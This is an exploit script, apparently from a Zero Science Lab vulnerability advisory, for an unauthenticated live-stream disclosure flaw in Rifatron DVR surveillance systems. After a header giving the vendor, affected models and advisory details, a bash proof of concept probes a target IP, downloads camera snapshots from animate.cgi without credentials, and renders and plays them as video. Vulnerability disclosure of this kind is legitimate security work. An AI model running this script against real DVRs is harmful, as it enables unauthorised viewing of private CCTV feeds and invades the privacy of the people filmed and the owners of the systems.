Rifatron Intelligent Digital Security System - 'animate.cgi' Stream Disclosure

#!/bin/bash
#
#
# Rifatron Intelligent Digital Security System (animate.cgi) Stream Disclosure
#
#
# Vendor: Rifatron Co., Ltd. | SAM MYUNG Co., Ltd.
# Product web page: http://www.rifatron.com
# Affected version: 5brid DVR (HD6-532/516, DX6-516/508/504, MX6-516/508/504, EH6-504)
#                   7brid DVR (HD3-16V2, DX3-16V2/08V2/04V2, MX3-08V2/04V2)
#                   Firmware: <=8.0 (000143)
#
#
# Summary: Rifatron with its roots in Seoul, Korea has been supplying and
# servicing the security market as a leading CCTV/video surveillance security
# system manufacturer, specializing in stand-alone digital video recorder since
# 1998. We are known for marking the first standalone DVR with audio detection
# and 480 frames per secone(fps) and have been focusing on highend products and
# large projects in a variety applications and merket. These include government
# and public services, banking and finance, hotels and entertatinment, retail
# education, industrial and commercial sectors throughout Europe, Middle East,
# the U.S. and Asia. Based on the accumulated know-how in the security industry,
# Rifatron is trying its utmost for the technology development and customer
# satisfaction to be the best security solution company in the world.
#
# Desc: The DVR suffers from an unauthenticated and unauthorized live stream
# disclosure when animate.cgi script is called through Mobile Web Viewer module.
#
# Tested on: Embedded Linux
#            Boa/0.94.14rc21
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5532
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5532.php
#
#
# 03.09.2019
#

#{PoC}
#
set -euo pipefail
IFS=$'\n\t'
if [ "$#" -ne 2 ]; then
    echo "Usage: $0 IP:PORT CHANNEL" # Valid channel integers: 0-15
    echo "Ex.: $0 10.9.8.7:65432 10"
    exit
fi
IP=$1
CHANNEL=$2
HOST="http://$IP/cgi-bin/animate.cgi?$CHANNEL"
STATUS=$(curl -Is http://$IP/mobile_viewer_login.html 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [ "$STATUS" == "404" ]; then
    echo "Target not vulnerable!"
    exit
fi
echo "Collecting snapshots..."
for x in {1..10};
    do echo -ne $x
    curl "$HOST" -o sequence-$x.jpg -#;
    sleep 0.6
    done
echo -ne "\nDone."
echo -ne "\nRendering video..."
ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i sequence-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p video.mp4
echo " done."
echo -ne "\nRunning animation..."
sleep 1
cvlc video.mp4 --verbose -1 -f vlc://quit
#
#{/PoC}